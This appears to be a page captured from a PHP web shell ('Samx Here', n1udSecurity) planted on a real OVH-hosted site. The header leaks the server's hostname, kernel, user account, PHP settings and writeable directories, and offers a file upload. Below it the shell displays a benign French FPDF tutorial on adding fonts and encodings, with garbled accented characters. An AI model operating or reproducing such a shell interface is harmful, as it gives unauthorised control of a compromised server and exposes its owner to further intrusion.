Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/universe/lib/h5c1accba-fpdf181/tutorial/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/universe/lib/h5c1accba-fpdf181/tutorial/tuto7.htm
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Ajout de polices et encodages</title>
<link type="text/css" rel="stylesheet" href="../fpdf.css">
</head>
<body>
<h1>Ajout de polices et encodages</h1>
Ce tutoriel explique comment ajouter des polices TrueType, OpenType et Type1 afin de ne plus se
limiter aux polices standards. L'autre int�r�t est que l'on peut �galement choisir l'encodage des
caract�res afin d'utiliser d'autres langues (les polices standards ne supportant que l'encodage cp1252).
<br>
<br>
Pour l'OpenType, seul le format bas� sur le TrueType est support� (pas celui bas� sur le Type1).<br>
Pour les Type1, vous devez poss�der le fichier AFM correspondant (il est g�n�ralement fourni avec la police).
<br>
<br>
L'ajout d'une police se fait en deux �tapes :
<ul>
<li>G�n�ration du fichier de d�finition de police</li>
<li>D�claration de la police dans le script</li>
</ul>

<h2>G�n�ration du fichier de d�finition de police</h2>
La premi�re �tape consiste � g�n�rer un fichier PHP contenant toutes les informations dont FPDF a
besoin ; on en profite �galement pour compresser le fichier de police. Pour cela, un script est
fourni dans le r�pertoire makefont de l'archive : makefont.php. Il contient la fonction suivante :
<br>
<br>
<code>MakeFont(<b>string</b> fontfile [, <b>string</b> enc [, <b>boolean</b> embed [, <b>boolean</b> subset]]])</code>
<dl class="param" style="margin-bottom:2em">
<dt><code>fontfile</code></dt>
<dd>
<p>Chemin du fichier .ttf, .otf ou .pfb.</p>
</dd>
<dt><code>enc</code></dt>
<dd>
<p>Nom de l'encodage � utiliser. Valeur par d�faut : <code>cp1252</code>.</p>
</dd>
<dt><code>embed</code></dt>
<dd>
<p>Indique si la police doit �tre incorpor�e ou non. Valeur par d�faut : <code>true</code>.</p>
</dd>
<dt><code>subset</code></dt>
<dd>
<p>Indique si le subsetting doit �tre utilis�. Valeur par d�faut : <code>true</code>.</p>
</dd>
</dl>
Le premier param�tre est le nom du fichier de police. L'extension doit �tre .ttf, .otf ou .pfb et d�termine
le type de la police. Si votre police Type1 est au format ASCII (.pfa), vous pouvez la convertir en binaire
(.pfb) gr�ce � <a href="http://www.lcdf.org/~eddietwo/type/#t1utils" target="_blank">t1utils</a>.
<br>
<br>
Pour les polices Type1, le fichier .afm correspondant doit se trouver dans le m�me r�pertoire.
<br>
<br>
L'encodage d�finit l'association entre un code (compris entre 0 et 255) et un caract�re. Les 128
premi�res sont fixes et correspondent � l'ASCII ; les suivantes sont variables. Les encodages sont
stock�s dans des fichiers .map. Ceux disponibles sont les suivants :
<ul>
<li>cp1250 (Europe Centrale)</li>
<li>cp1251 (cyrillique)</li>
<li>cp1252 (Europe de l'Ouest)</li>
<li>cp1253 (grec)</li>
<li>cp1254 (turc)</li>
<li>cp1255 (h�breu)</li>
<li>cp1257 (pays baltes)</li>
<li>cp1258 (vietnamien)</li>
<li>cp874 (tha�landais)</li>
<li>ISO-8859-1 (Europe de l'Ouest)</li>
<li>ISO-8859-2 (Europe Centrale)</li>
<li>ISO-8859-4 (pays Baltes)</li>
<li>ISO-8859-5 (cyrillique)</li>
<li>ISO-8859-7 (grec)</li>
<li>ISO-8859-9 (turc)</li>
<li>ISO-8859-11 (tha�landais)</li>
<li>ISO-8859-15 (Europe de l'Ouest)</li>
<li>ISO-8859-16 (Europe Centrale)</li>
<li>KOI8-R (russe)</li>
<li>KOI8-U (ukrainien)</li>
</ul>
Il faut bien s�r que la police contienne les caract�res correspondant � l'encodage choisi.
<br>
<br>
Le troisi�me param�tre indique si la police doit �tre incorpor�e ou non. Lorsqu'une police
n'est pas incorpor�e, elle est recherch�e dans le syst�me. L'avantage est que le fichier PDF est
plus l�ger ; par contre, si elle n'est pas trouv�e, une police de substitution est utilis�e. Il
vaut donc mieux s'assurer que le syst�me qui lit le PDF a bien la police install�e. Pour assurer
un rendu correct dans tous les cas, il est fortement recommand� d'incorporer.
<br>
<br>
Le dernier param�tre indique si le subsetting doit �tre utilis�, c'est-�-dire si seuls les
caract�res de l'encodage sp�cifi� doivent �tre conserv�s dans la police incorpor�e. Cela
permet de r�duire de mani�re importante la taille du fichier PDF, surtout si la police
d'origine �tait volumineuse.
<br>
<br>
Apr�s avoir appel� la fonction (cr�ez pour cela un nouveau fichier et incluez makefont.php), un
fichier .php est cr��, avec le m�me nom que celui du fichier de police. Vous pouvez le renommer si
vous le souhaitez. Dans le cas de l'incorporation, le fichier de police est compress� et donne un
second fichier avec comme extension .z (sauf si la fonction de compression n'est pas disponible,
elle n�cessite Zlib). Vous pouvez �galement le renommer, mais dans ce cas vous devez modifier la
variable <code>$file</code> en cons�quence dans le fichier .php.
<br>
<br>
Exemple :
<div class="source">
<pre><code>&lt;?php
<span class="kw">require(</span><span class="str">'makefont/makefont.php'</span><span class="kw">);

</span>MakeFont<span class="kw">(</span><span class="str">'C:\\Windows\\Fonts\\comic.ttf'</span><span class="kw">,</span><span class="str">'cp1252'</span><span class="kw">);
</span>?&gt;</code></pre>
</div>
Ce qui donne les fichiers comic.php et comic.z.
<br>
<br>
Vous devez ensuite copier les fichiers g�n�r�s dans le r�pertoire des polices. Si la police n'a
pas pu �tre compress�e, il faut la copier directement � la place de la version compress�e.
<br>
<br>
Il est �galement possible d'appeler MakeFont() via la ligne de commande :
<br>
<br>
<kbd>php makefont\makefont.php C:\Windows\Fonts\comic.ttf cp1252</kbd>
<br>
<br>
Enfin, pour les polices TrueType et OpenType, il est possible de g�n�rer les fichiers
<a href="http://www.fpdf.org/makefont/">en ligne</a> au lieu de le faire manuellement.

<h2>D�claration de la police dans le script</h2>
La seconde �tape est la plus simple. Il suffit d'appeler la m�thode <a href='../doc/addfont.htm'>AddFont()</a> :
<div class="source">
<pre><code>$pdf<span class="kw">-&gt;</span>AddFont<span class="kw">(</span><span class="str">'Comic'</span><span class="kw">,</span><span class="str">''</span><span class="kw">,</span><span class="str">'comic.php'</span><span class="kw">);
</span></code></pre>
</div>
Et la police est maintenant disponible (dans le style normal et soulign�), utilisable comme les
autres. Si on avait trait� le Comic Sans MS Gras (comicbd.ttf), on aurait mis :
<div class="source">
<pre><code>$pdf<span class="kw">-&gt;</span>AddFont<span class="kw">(</span><span class="str">'Comic'</span><span class="kw">,</span><span class="str">'B'</span><span class="kw">,</span><span class="str">'comicbd.php'</span><span class="kw">);
</span></code></pre>
</div>

<h2>Exemple</h2>
Voyons maintenant un exemple complet. La police utilis�e est <a href="http://www.abstractfonts.com/font/52" target="_blank">Calligrapher</a>.
La premi�re �tape consiste � g�n�rer les fichiers :
<div class="source">
<pre><code>&lt;?php
<span class="kw">require(</span><span class="str">'makefont/makefont.php'</span><span class="kw">);

</span>MakeFont<span class="kw">(</span><span class="str">'calligra.ttf'</span><span class="kw">,</span><span class="str">'cp1252'</span><span class="kw">);
</span>?&gt;</code></pre>
</div>
L'ex�cution du script donne le compte-rendu suivant :
<br>
<br>
<b>Warning:</b> character Euro is missing<br>
<b>Warning:</b> character zcaron is missing<br>
Font file compressed: calligra.z<br>
Font definition file generated: calligra.php<br>
<br>
Le caract�re euro n'est pas pr�sent dans la police (elle est trop ancienne). Un autre caract�re manque �galement.
<br>
<br>
Nous aurions �galement pu utiliser la ligne de commande :
<br>
<br>
<kbd>php makefont\makefont.php calligra.ttf cp1252</kbd>
<br>
<br>
ou bien le g�n�rateur en ligne.
<br>
<br>
Nous pouvons maintenant copier les deux fichiers g�n�r�s dans le r�pertoire des polices (font) et �crire
le script :
<div class="source">
<pre><code>&lt;?php
<span class="kw">require(</span><span class="str">'fpdf.php'</span><span class="kw">);

</span>$pdf <span class="kw">= new </span>FPDF<span class="kw">();
</span>$pdf<span class="kw">-&gt;</span>AddFont<span class="kw">(</span><span class="str">'Calligrapher'</span><span class="kw">,</span><span class="str">''</span><span class="kw">,</span><span class="str">'calligra.php'</span><span class="kw">);
</span>$pdf<span class="kw">-&gt;</span>AddPage<span class="kw">();
</span>$pdf<span class="kw">-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Calligrapher'</span><span class="kw">,</span><span class="str">''</span><span class="kw">,</span>35<span class="kw">);
</span>$pdf<span class="kw">-&gt;</span>Write<span class="kw">(</span>10<span class="kw">,</span><span class="str">'Changez de police avec FPDF !'</span><span class="kw">);
</span>$pdf<span class="kw">-&gt;</span>Output<span class="kw">();
</span>?&gt;</code></pre>
</div>
<p class='demo'><a href='tuto7.php' target='_blank' class='demo'>[D�mo]</a></p>
</body>
</html>

SAMX